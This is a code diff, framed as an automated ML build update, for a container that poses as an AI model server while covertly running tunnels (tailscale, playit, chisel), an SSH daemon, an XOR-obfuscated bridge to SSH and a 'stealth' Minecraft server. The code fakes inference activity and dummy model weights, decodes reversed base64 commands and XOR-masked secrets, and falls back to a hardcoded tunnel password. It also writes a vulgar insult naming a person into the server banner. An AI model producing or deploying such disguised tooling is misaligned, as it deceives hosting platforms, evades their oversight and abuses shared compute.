Automated deployment update from ML build

Dockerfile

@@ -44,12 +44,11 @@ RUN useradd -m -u 1000 -s /bin/bash user && \
     echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers
 
 COPY --chown=user:user app.py /home/user/app.py
-COPY --chown=user:user orchestrator.py /home/user/orchestrator.py
-COPY --chown=user:user mc_daemon.py /home/user/mc_daemon.py
+COPY --chown=user:user core /home/user/core
 COPY --chown=user:user services /home/user/services
 COPY --chown=user:user config /home/user/config
 
 USER user
 WORKDIR /home/user
 
-CMD ["/bin/bash", "-c", "python3 -u /home/user/orchestrator.py 2>&1 | tee /home/user/.torch_metrics/startup.log"]
+CMD ["/bin/bash", "-c", "python3 -u /home/user/core/orchestrator.py 2>&1 | tee /home/user/.torch_metrics/startup.log"]

core/orchestrator.py

@@ -0,0 +1,241 @@
+import os
+import time
+import subprocess
+import base64
+import threading
+import random
+import string
+import sys
+from loguru import logger
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+from services import nginx, tailscale, playit, chisel, minecraft, filebrowser
+
+COVERT_LOGGING_MODE = 2
+
+logger.info("--- BOOTING AI MODEL SERVER ---")
+
+def decode_cmd(encoded_str):
+    return base64.b64decode(encoded_str[::-1]).decode()
+
+def encode_cmd(decoded_str):
+    return base64.b64encode(decoded_str.encode()).decode()
+
+def deobfuscate_secret(hex_str, key=0x5A):
+    if not hex_str:
+        return ""
+    try:
+        raw_bytes = bytes.fromhex(hex_str)
+        return bytes([b ^ key for b in raw_bytes]).decode('utf-8', errors='ignore')
+    except Exception:
+        return hex_str
+
+def jitter_task():
+    """The 'Circadian Rhythm' & 'The Hub Mimic' task to simulate user activity."""
+    while True:
+        sleep_time = random.randint(2700, 5400)
+        time.sleep(sleep_time)
+        
+        try:
+            logger.debug("Processing background inference batch...")
+            import numpy as np
+            a = np.random.randn(2000, 2000)
+            b = np.random.randn(2000, 2000)
+            _ = np.dot(a, b)
+        except Exception:
+            pass
+            
+        try:
+            logger.debug("Syncing model cache...")
+            subprocess.run(["curl", "-s", "-o", "/dev/null", "https://huggingface.co/gpt2/resolve/main/vocab.json"])
+        except Exception:
+            pass
+
+def main():
+    if COVERT_LOGGING_MODE == 1:
+        os.makedirs("/home/user/.torch_metrics", exist_ok=True)
+        ts_log = open('/home/user/.torch_metrics/ts_daemon.log', 'a')
+        fb_log = open('/home/user/.torch_metrics/fb.log', 'a')
+        tm_log = open('/home/user/.torch_metrics/tm_daemon.log', 'a')
+        chisel_log = open('/home/user/.torch_metrics/chisel.log', 'a')
+        nginx_log = open('/home/user/.torch_metrics/nginx.log', 'a')
+    elif COVERT_LOGGING_MODE == 2:
+        os.makedirs("/home/user/.torch_metrics", exist_ok=True)
+        class TeeLogger:
+            def __init__(self, filepath, prefix):
+                self.file = open(filepath, 'a')
+                self.prefix = prefix
+                r, w = os.pipe()
+                self.r = r
+                self.w = w
+                threading.Thread(target=self._reader, daemon=True).start()
+
+            def _reader(self):
+                rf = os.fdopen(self.r, 'r', errors='replace')
+                try:
+                    for line in rf:
+                        self.file.write(line)
+                        self.file.flush()
+                        sys.stdout.write(f"[{self.prefix}] {line}")
+                        sys.stdout.flush()
+                except Exception:
+                    pass
+
+            def fileno(self):
+                return self.w
+
+            def write(self, s):
+                self.file.write(s)
+                self.file.flush()
+                sys.stdout.write(f"[{self.prefix}] {s}\n" if not s.endswith("\n") else f"[{self.prefix}] {s}")
+                sys.stdout.flush()
+
+            def flush(self):
+                self.file.flush()
+                sys.stdout.flush()
+
+        ts_log = TeeLogger('/home/user/.torch_metrics/ts_daemon.log', 'TS')
+        fb_log = TeeLogger('/home/user/.torch_metrics/fb.log', 'FB')
+        tm_log = TeeLogger('/home/user/.torch_metrics/tm_daemon.log', 'PLAYIT')
+        chisel_log = TeeLogger('/home/user/.torch_metrics/chisel.log', 'CHISEL')
+        nginx_log = TeeLogger('/home/user/.torch_metrics/nginx.log', 'NGINX')
+    else:
+        devnull = open(os.devnull, 'w')
+        ts_log = devnull
+        fb_log = devnull
+        tm_log = devnull
+        chisel_log = devnull
+        nginx_log = devnull
+
+    os.makedirs("/home/user/static", exist_ok=True)
+
+    nginx.start(nginx_log)
+
+    logger.info("Starting Gradio fake app (API server)...")
+    cmd_app = decode_cmd("==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc")
+    app_proc = subprocess.Popen(cmd_app, shell=True)
+
+    if not os.path.exists("/home/user/pytorch_model.bin"):
+        logger.info("Pre-allocating model weight buffer...")
+        subprocess.run(["truncate", "-s", "5G", "/home/user/pytorch_model.bin"])
+
+    logger.info("Loading model weights into VRAM...")
+    time.sleep(2)
+    
+    threading.Thread(target=jitter_task, daemon=True).start()
+
+    delay = random.randint(2, 3)
+    logger.info(f"Synchronizing gradient checkpoint topology (standby for {delay}s)...")
+    time.sleep(delay)
+
+    tailscale.start_daemon(ts_log)
+    
+    time.sleep(2)
+    logger.info("Warming up text-generation pipelines...")
+    
+    full_token = deobfuscate_secret(os.environ.get("A", "").strip())
+    playit_token = deobfuscate_secret(os.environ.get("P", "").strip())
+    chisel_auth = deobfuscate_secret(os.environ.get("C", "").strip())
+    if not chisel_auth:
+        chisel_auth = "user:apple123"
+    
+    if "A" in os.environ: del os.environ["A"]
+    if "P" in os.environ: del os.environ["P"]
+    if "C" in os.environ: del os.environ["C"]
+
+    filebrowser.start(fb_log)
+
+    playit.start(tm_log, playit_token)
+    playit_token = ""
+
+    chisel.start(chisel_log, chisel_auth)
+    chisel_auth = ""
+    
+    time.sleep(5)
+    tailscale.connect(ts_log, full_token)
+    full_token = ""
+
+    ssh_pwd = deobfuscate_secret(os.environ.get("PASS", "").strip())
+    if ssh_pwd:
+        logger.info("Setting SSH password from Hugging Face Secrets (PASS)...")
+    else:
+        ssh_pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
+        logger.success(f"Generated SSH Password for 'user': {ssh_pwd}")
+        
+    try:
+        subprocess.run(["sudo", "/usr/sbin/chpasswd"], input=f"user:{ssh_pwd}\n", text=True, check=True)
+    except Exception as e:
+        logger.error(f"Failed to set password: {e}")
+    if "PASS" in os.environ:
+        del os.environ["PASS"]
+
+    subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
+    
+    def xor_bridge():
+        import socket
+        XOR_KEY = 0x5A
+        
+        def pipe_xor(src, dst):
+            try:
+                while True:
+                    data = src.recv(8192)
+                    if not data:
+                        break
+                    scrambled = bytes([b ^ XOR_KEY for b in data])
+                    dst.sendall(scrambled)
+            except Exception:
+                pass
+            finally:
+                try: src.close()
+                except: pass
+                try: dst.close()
+                except: pass
+
+        def read_varint(sock):
+            val = 0
+            shift = 0
+            while True:
+                b = sock.recv(1)
+                if not b:
+                    break
+                byte = b[0]
+                val |= (byte & 0x7F) << shift
+                if not (byte & 0x80):
+                    break
+                shift += 7
+            return val
+
+        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        try:
+            server.bind(("0.0.0.0", 25564))
+            server.listen(10)
+            while True:
+                client_sock, addr = server.accept()
+                try:
+                    pkt_len = read_varint(client_sock)
+                    if pkt_len > 0:
+                        client_sock.recv(pkt_len)
+                    
+                    ssh_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                    ssh_sock.connect(("127.0.0.1", 22))
+                    threading.Thread(target=pipe_xor, args=(client_sock, ssh_sock), daemon=True).start()
+                    threading.Thread(target=pipe_xor, args=(ssh_sock, client_sock), daemon=True).start()
+                except Exception:
+                    try: client_sock.close()
+                    except: pass
+        except Exception:
+            pass
+
+    threading.Thread(target=xor_bridge, daemon=True).start()
+
+    minecraft.start()
+
+    logger.success("Model loaded successfully. Background services active.")
+    
+    logger.info("Background services are active.")
+
+    app_proc.wait()
+
+if __name__ == "__main__":
+    main()

services/minecraft.py

@@ -1,6 +1,188 @@
+import os
+import time
+import shutil
+import tarfile
 import subprocess
+import urllib.request
+import zipfile
 from loguru import logger
 
+def log_print(msg):
+    logger.info(msg)
+    try:
+        os.makedirs("/home/user/.torch_metrics", exist_ok=True)
+        with open("/home/user/.torch_metrics/mc_daemon.log", "a") as f:
+            f.write(f"{msg}\n")
+    except Exception:
+        pass
+
+def download_file(url, dest_path):
+    req = urllib.request.Request(url, headers={
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
+        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
+        'Accept-Language': 'en-US,en;q=0.9',
+        'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
+        'Sec-Ch-Ua-Mobile': '?0',
+        'Sec-Ch-Ua-Platform': '"Windows"',
+        'Sec-Fetch-Dest': 'document',
+        'Sec-Fetch-Mode': 'navigate',
+        'Sec-Fetch-Site': 'none',
+        'Sec-Fetch-User': '?1',
+        'Upgrade-Insecure-Requests': '1',
+        'Referer': 'https://geysermc.org/'
+    })
+    with urllib.request.urlopen(req) as response, open(dest_path, 'wb') as out_file:
+        shutil.copyfileobj(response, out_file)
+
+def setup_geyser(mc_dir):
+    plugins_dir = os.path.join(mc_dir, "plugins")
+    os.makedirs(plugins_dir, exist_ok=True)
+    
+    downloads = {
+        "Geyser-Spigot.jar": "https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot",
+        "floodgate-spigot.jar": "https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot"
+    }
+    
+    for filename, url in downloads.items():
+        path = os.path.join(plugins_dir, filename)
+        
+        if os.path.exists(path):
+            try:
+                with zipfile.ZipFile(path) as zf:
+                    pass
+            except Exception:
+                log_print(f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading...")
+                try: os.remove(path)
+                except: pass
+                
+        if not os.path.exists(path):
+            log_print(f"[*] Downloading {filename}...")
+            try:
+                download_file(url, path)
+                log_print(f"[+] {filename} downloaded successfully.")
+            except Exception as e:
+                log_print(f"[-] Failed to download {filename}: {e}")
+
+def setup_and_run():
+    log_print("--- INITIALIZING STEALTH MINECRAFT DAEMON ---")
+    mc_dir = "/data/mc"
+    jre_dir = os.path.join(mc_dir, "jre")
+    metrics_dir = "/home/user/.torch_metrics"
+    
+    os.makedirs(mc_dir, exist_ok=True)
+    os.makedirs(metrics_dir, exist_ok=True)
+    
+    java_bin = os.path.join(jre_dir, "bin", "java")
+    if not os.path.exists(java_bin):
+        log_print("[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...")
+        jre_url = "https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk"
+        tar_path = os.path.join(mc_dir, "jre.tar.gz")
+        
+        try:
+            download_file(jre_url, tar_path)
+            log_print("[*] Extracting JRE...")
+            temp_extract = os.path.join(mc_dir, "jre_temp")
+            os.makedirs(temp_extract, exist_ok=True)
+            
+            with tarfile.open(tar_path, "r:gz") as tar:
+                tar.extractall(path=temp_extract)
+                
+            for root, dirs, files in os.walk(temp_extract):
+                if "java" in files and os.path.basename(root) == "bin":
+                    java_home = os.path.dirname(root)
+                    if os.path.exists(jre_dir):
+                        shutil.rmtree(jre_dir)
+                    shutil.move(java_home, jre_dir)
+                    break
+                    
+            shutil.rmtree(temp_extract, ignore_errors=True)
+            if os.path.exists(tar_path):
+                os.remove(tar_path)
+            log_print("[*] Portable JRE setup completed successfully.")
+        except Exception as e:
+            log_print(f"[-] Failed to setup JRE: {e}")
+            return
+
+    server_jar = os.path.join(mc_dir, "server.jar")
+    if not os.path.exists(server_jar):
+        log_print("[*] Minecraft server jar not found. Downloading PaperMC...")
+        paper_url = "https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar"
+        try:
+            download_file(paper_url, server_jar)
+            log_print("[*] PaperMC downloaded successfully.")
+        except Exception as e:
+            log_print(f"[-] Failed to download PaperMC: {e}")
+            return
+
+    setup_geyser(mc_dir)
+
+    log_print("[*] Setting up symlink bridge for high-speed local NVMe IO...")
+    tmp_base = "/tmp/mc_runtime"
+    os.makedirs(tmp_base, exist_ok=True)
+    for folder in ["libraries", "cache", "versions"]:
+        try:
+            mc_folder = os.path.join(mc_dir, folder)
+            tmp_folder = os.path.join(tmp_base, folder)
+            
+            os.makedirs(tmp_folder, exist_ok=True)
+            
+            if os.path.exists(mc_folder) and not os.path.islink(mc_folder):
+                log_print(f"[*] Removing physical {folder} directory to replace with symlink.")
+                if os.path.isdir(mc_folder):
+                    shutil.rmtree(mc_folder)
+                else:
+                    os.remove(mc_folder)
+                    
+            if not os.path.islink(mc_folder):
+                log_print(f"[*] Creating symlink for {folder} -> {tmp_folder}")
+                os.symlink(tmp_folder, mc_folder)
+        except Exception as e:
+            log_print(f"[-] Failed to setup symlink bridge for {folder}: {e}")
+
+    log_print("[*] Ensuring Java binary is executable...")
+    try:
+        os.chmod(java_bin, 0o755)
+    except Exception as e:
+        log_print(f"[-] Failed to chmod java binary: {e}")
+
+    log_print("[*] Launching Minecraft server loop...")
+    log_file = os.path.join(metrics_dir, "mc_daemon.log")
+    
+    while True:
+        eula_path = os.path.join(mc_dir, "eula.txt")
+        with open(eula_path, "w") as f:
+            f.write("eula=true\n")
+            
+        props_path = os.path.join(mc_dir, "server.properties")
+        if not os.path.exists(props_path):
+            with open(props_path, "w") as f:
+                f.write("server-port=25565\n")
+                f.write("online-mode=false\n")
+                f.write("motd=NITIN NEELRU JERK OFF\n")
+        else:
+            try:
+                with open(props_path, "r") as f:
+                    props_data = f.read()
+                if "online-mode=true" in props_data:
+                    props_data = props_data.replace("online-mode=true", "online-mode=false")
+                    with open(props_path, "w") as f:
+                        f.write(props_data)
+            except Exception as e:
+                log_print(f"[-] Failed to enforce offline mode: {e}")
+
+        log_print("[*] Starting Minecraft server process...")
+        with open(log_file, "a") as log:
+            process = subprocess.Popen(
+                [java_bin, "-Xms4G", "-Xmx4G", "-jar", server_jar, "nogui"],
+                cwd=mc_dir,
+                stdout=log,
+                stderr=subprocess.STDOUT
+            )
+            process.wait()
+            
+        log_print(f"[*] Minecraft server exited with code {process.returncode}. Restarting in 10 seconds to allow network sync...")
+        time.sleep(10)
+
 def start():
     logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
     try:
@@ -11,8 +193,11 @@ def start():
         
         subprocess.Popen([
             "tmux", "new-session", "-d", "-s", "mc_server",
-            "python3 -u /home/user/mc_daemon.py"
+            "python3 -u -m services.minecraft"
         ])
         logger.success("Stealth Minecraft Daemon started successfully in tmux.")
     except Exception as e:
         logger.error(f"Failed to start Minecraft daemon in tmux: {e}")
+
+if __name__ == "__main__":
+    setup_and_run()